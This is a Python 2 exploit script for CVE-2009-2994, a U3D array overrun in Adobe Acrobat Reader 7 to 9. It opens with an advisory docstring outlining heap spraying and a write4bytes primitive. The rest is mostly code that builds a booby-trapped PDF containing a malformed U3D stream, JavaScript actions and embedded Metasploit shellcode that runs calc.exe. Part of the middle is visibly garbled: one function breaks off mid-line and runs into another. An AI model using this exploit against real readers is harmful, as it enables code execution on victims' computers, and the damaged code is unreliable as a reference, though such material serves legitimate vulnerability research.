##Copyright (c) 2009, Felipe Andres Manzano ##All rights reserved. ## ##Redistribution and use in source and binary forms, with or without ##modification, are permitted provided that the following conditions are met: ## * Redistributions of source code must retain the above copyright ## notice, this list of conditions and the following disclaimer. ## * Redistributions in binary form must reproduce the above copyright ## notice, this list of conditions and the following disclaimer in the ## documentation and/or other materials provided with the distribution. ## * Neither the name of the Felipe Andres Manzano nor the ## names of its contributors may be used to endorse or promote products ## derived from this software without specific prior written permission. ## ##THIS SOFTWARE IS PROVIDED BY Felipe Andres Manzano ''AS IS'' AND ANY ##EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ##WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ##DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY ##DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ##(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; ##LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ##ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ##(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS ##SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ########################################################################## #### Felipe Andres Manzano * felipe.andres.manzano@gmail.com #### ########################################################################## _doc_ = ''' Title: U3D CLODProgressiveMeshDeclaration initialization array overrun. Product: Adobe Acrobat Reader (also Right Hemisphere Deep Exploration and others) Version: 7.x, 8.x, 9.x Product Homepage: www.adobe.com Binary affected: */cygdrive/c/Program Files/Adobe/Reader 9.0/Reader/plug_ins3d/3difr.x3d Binary Version: Adobe Reader 9.1.3 Binary MD5: 3c9b7a410047cbf5edcd229b0f0f62a5 CVE: CVE-2009-2994 Configuration Requirements ----------------------------------------- Default Vulnerability Requirements ----------------------------------------- None Vulnerability Description ----------------------------------------- Universal 3D (U3D) is a compressed file format standard for 3D computer graphics data. Right Hemisphere has plugged funtionality for managing this format in a bunch of their products. Also since version 7 Acrobat Reader is shipped with a default plugin that supports this format as a form of interactive annotation for PDFs. Apparently, Adobe's provider of this technology is RH... grep -R "Right Hemisphere" /opt/Adobe/ Binary file /opt/Adobe/Reader8/Reader/intellinux/plug_ins3d/3difr.x3d matches When U3D CLODMeshDeclaration (blocktype: 0xFFFFFF31) is parsed by Adobe Acrobat Reader, the U3D plugin will read two unvalidated 32 bit integers, N and M. N is the length of an array of 20 bytes long structures. But, M structures of that fresh array will be processed taking uninitialized pointers from memory and writing arbitrary values to the memory pointed by them. More preciselly, in the U3D file the CLODMeshDeclaration box the *positionCount* field (see #9.6.1.1.3.3) defines the length of the array and the field *minimalResolution* determines how much of the array is procesed. As stated before, if *minimalResolution* happens to be bigger than *positionCount* then uninitialized off limits structures will be procesed. Explotation: ============ *** Standalone and activeX reader tested in XPSP3 *** As we control the size of the over-used array and how much we'll overuse it, an outline of the exploitation may have this form... - Choose a convenient not heavily used size for the array like 6500x20 - Spray the mem with a lot of 6500x20 controled chunks - Free one of those in the middle so we have some amount of confidence that the freed chunk will be followed by controled data. - Control the data following the array that will be overrunned and the dereferenced structure. - Use the normal program behavior that takes pointers and data from the now controled structure and make the write4bytes primitive. - Use the write4bytes primitive and some more spray to do the print trick(tm) Much more detailed doc inlined in the PoC... Note: Same bug was confirmed in RH Deep Exploration 5.5 (CAD Edition). Other products from the firm may be affected. Notably this may affect their free 3d viewer that enable the publishing of embedded 3d models into MS Office products. REFERENCES ========== http://en.wikipedia.org/wiki/Universal_3D http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-363%204th%20edition.pdf http://www.adobe.com/devnet/acrobat3d/pdfs/U3DElements.pdf http://www.ucon-conference.org/materials/2009/HackingPDFReaders-uCon-2009.pdf Vulnerability WorkAround (if possible) ----------------------------------------- For adobe bug.. delete the plugin. ''' import os import zlib import sys import struct #For constructing a minimal pdf file class PDFObject: def __init__(self): self.n=None self.v=None def __str__(self): raise "Fail" class PDFStream(PDFObject): def __init__(self, dict,stream): PDFObject.__init__(self) dict.add('Length', len(stream)) self.dict=dict self.stream=stream def __str__(self): s="" s+=self.dict.__str__() s+="\nstream\n" s+=self.stream s+="\nendstream" return s class PDFArray(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "[%s]"%(" ".join([ o.__str__() for o in self.s])) class PDFDict(PDFObject): def __init__(self): PDFObject.__init__(self) self.dict = [] def add(self,name,obj): self.dict.append((name,obj)) def __str__(self): s="<<" for name,obj in self.dict: s+="/%s %s "%(name,obj) s+=">>" return s class PDFName(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "/%s"%self.s class PDFString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "(%s)"%self.s class PDFHexString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "<" + "".join(["%02x"%ord(c) for c in self.s]) + ">" class PDFOctalString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s="".join(["\\%03o"%ord(c) for c in s]) def __str__(self): return "(%s)"%self.s class PDFNum(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "%s"%self.s class PDFRef(PDFObject): def __init__(self,obj): PDFObject.__init__(self) self.obj=[obj] def __str__(self): return "%d %d R"%(self.obj[0].n,self.obj[0].v) class PDFNull(PDFObject): def __init__(self): PDFObject.__init__(self) def __str__(self): return "null" class PDFDoc(): def __init__(self): self.objs=[] def setRoot(self,root): self.root=root def _add(self,obj): obj.v=0 obj.n=1+len(self.objs) self.objs.append(obj) def add(self,obj): if type(obj) != type([]): self._add(obj); else: for o in obj: self._add(o) def _header(self): return "%PDF-1.7\n" def __str__(self): doc1 = self._header() xref = {} for obj in self.objs: xref[obj.n] = len(doc1) doc1+="%d %d obj\n"%(obj.n,obj.v) doc1+=obj.__str__() doc1+="\nendobj\n" posxref=len(doc1) doc1+="xref\n" doc1+="0 %d\n"%(len(self.objs)+1) doc1+="0000000000 65535 f\n" for xr in xref.keys(): doc1+= "%010d %05d n\n"%(xref[xr],0) doc1+="trailer\n" trailer = PDFDict() trailer.add("Size",len(self.objs)) trailer.add("Root",PDFRef(self.root)) doc1+=trailer.__str__() doc1+="\nstartxref\n%d\n"%posxref doc1+="%%EOF\n\n" return doc1 def getU3D(size): #Bug marked u3d file u3d = "" u3d += "536f727279206d616e2c206a757374206b696c6c696e6720736f6d6520736b696469657300" u3d += "55334400180000000000000000010000000000002400000064010000000000006a00000014" u3d += "ffffffe40000000000000007005468654d65736801000000000000005050500100000031ff" u3d += "ffff710000004b00000007005468654d657368000000000000000001000000595858580400" u3d += "0000000000000000000000000000010000000000000000000000000000005b5858585c5858" u3d += "582c0100002c0100002c010000000000000000000000000000000000000000000000000000" u3d += "000000000000000000000000505050010000000600617574686f7201000000370000004665" u3d += "6c69706520416e64726573204d616e7a616e6f203c66656c6970652e616e647265732e6d61" u3d += "6e7a616e6f40676d61696c2e636f6d3e503cffffff410000000000000007005468654d6573" u3d += "68000000000000000000000000000000000100000001000000010000000100000001000000" u3d += "0100000001000000010000000100000001000000505050" u3dstr = u3d.decode('hex') #see 9.6.1.1.4 CLOD Description u3dstr = u3dstr.replace(struct.pack(">') self.doc.add(contents) self.doc.add(page) return PDFRef(page) def mkCrash(self,pages,txt="PWNED!", js=""): #font font= PDFDict() font.add("Subtype", PDFName("Type1")) font.add("Name", PDFName("F1")) font.add("BaseFont", PDFName("Helvetica")) fontname = PDFDict() fontname.add("F1",font) #resources resources = PDFDict() resources.add("Font",fontname) #contents contents= PDFStream(PDFDict(), '''BT /F1 24 Tf 240 700 Td (%s) Tj ET'''%txt) #The pdf page page = PDFDict() page.add('Type', '/Page') page.add('Parent', PDFRef(pages)) page.add('Resources', resources) page.add('Contents', PDFRef(contents)) #JavaScriptSeek if len(js) != 0: actionJSSeek = PDFDict() actionJSSeek.add("S", PDFName("JavaScript")) actionJSSeek.add("JS", PDFHexString(js)) self.doc.add(actionJSSeek) page.add('AA', '<< /O '+PDFRef(actionJSSeek).__str__()+'>>') str3d = PDFDict() str3d.add("Type","/3D") str3d.add("Subtype","/U3D") str3d = PDFStream(str3d, getU3D(6500/20)) annot3d = PDFDict() annot3d.add("Type",PDFName("Annot")) annot3d.add("Subtype","/3D") annot3d.add("Contents", "(a 3d model)") annot3d.add("3DI", "false") annot3d.add("3DA", "<< /A /PO /DIS /I >>") annot3d.add('Rect', PDFArray([ 0, 0, 640, 480])) annot3d.add("3DD",PDFRef(str3d)) annot3d.add("F", "7") page.add('Annots', PDFArray([PDFRef(annot3d)])) self.doc.add([str3d,annot3d,contents,page]) return PDFRef(page) def __init__(self,scode): #shellcode self.shellcode=scode self.doc= PDFDoc() branding = PDFDict() branding.add("Author", PDFString("Felipe Andres Manzano")) branding.add("email", PDFString("felipe.andres.manzano@gmail.com")) branding.add("twitter", PDFString("http://twitter.com/feliam")) branding.add("web", PDFString("felipe.andres.manzano.googlepages.com")) self.doc.add(branding) #outline outlines = PDFDict() outlines.add("Type", PDFName("Outlines")) outlines.add("Count",0) #pages pages = PDFDict() pages.add("Type", PDFName("Pages")) #catalog catalog = PDFDict() catalog.add("Type", PDFName("Catalog")) catalog.add("Outlines", PDFRef(outlines)) catalog.add("Pages", PDFRef(pages)) #lets add those to doc just for showing up the Ref object. self.doc.add([catalog,outlines,pages]) #crashing U3d annotated page page = self.mkCrash(pages, js= '''this.print({bUI: true, bSilent: false, bShrinkToFit: false}); ''') #js for the print trick(tm) #dummy Page dummy1 = self.mkDummy(pages, js=self._generateJS()) dummy2 = self.mkDummy(pages) pages.add('Count', PDFNum(3)) pages.add('Kids',PDFArray([dummy1,dummy2,page])) #Set the pdf root self.doc.setRoot(catalog) def render(self): #render it return self.doc.__str__() # win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com w32Scode = "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x88" w32Scode += "\x06\x28\x26\x83\xeb\xfc\xe2\xf4\x74\xee\x6c\x26\x88\x06\xa3\x63" w32Scode += "\xb4\x8d\x54\x23\xf0\x07\xc7\xad\xc7\x1e\xa3\x79\xa8\x07\xc3\x6f" w32Scode += "\x03\x32\xa3\x27\x66\x37\xe8\xbf\x24\x82\xe8\x52\x8f\xc7\xe2\x2b" w32Scode += "\x89\xc4\xc3\xd2\xb3\x52\x0c\x22\xfd\xe3\xa3\x79\xac\x07\xc3\x40" w32Scode += "\x03\x0a\x63\xad\xd7\x1a\x29\xcd\x03\x1a\xa3\x27\x63\x8f\x74\x02" w32Scode += "\x8c\xc5\x19\xe6\xec\x8d\x68\x16\x0d\xc6\x50\x2a\x03\x46\x24\xad" w32Scode += "\xf8\x1a\x85\xad\xe0\x0e\xc3\x2f\x03\x86\x98\x26\x88\x06\xa3\x4e" w32Scode += "\xb4\x59\x19\xd0\xe8\x50\xa1\xde\x0b\xc6\x53\x76\xe0\x78\xf0\xc4" w32Scode += "\xfb\x6e\xb0\xd8\x02\x08\x7f\xd9\x6f\x65\x49\x4a\xeb\x28\x4d\x5e" w32Scode += "\xed\x06\x28\x26" def getPDF(): fuzz = PDFU3DclodMESHDeclarationResolutionsBug(w32Scode) return fuzz.render() ##Main if __name__=="__main__": print _doc_ if len(sys.argv) != 2: print "Usage:\n\t"+sys.argv[0]+" filename.pdf\n" else: file(sys.argv[1],"w").write(getPDF()) ## ## ## unrelated salut! to: Alfr3d, Juliano, JCF, David Batanero ##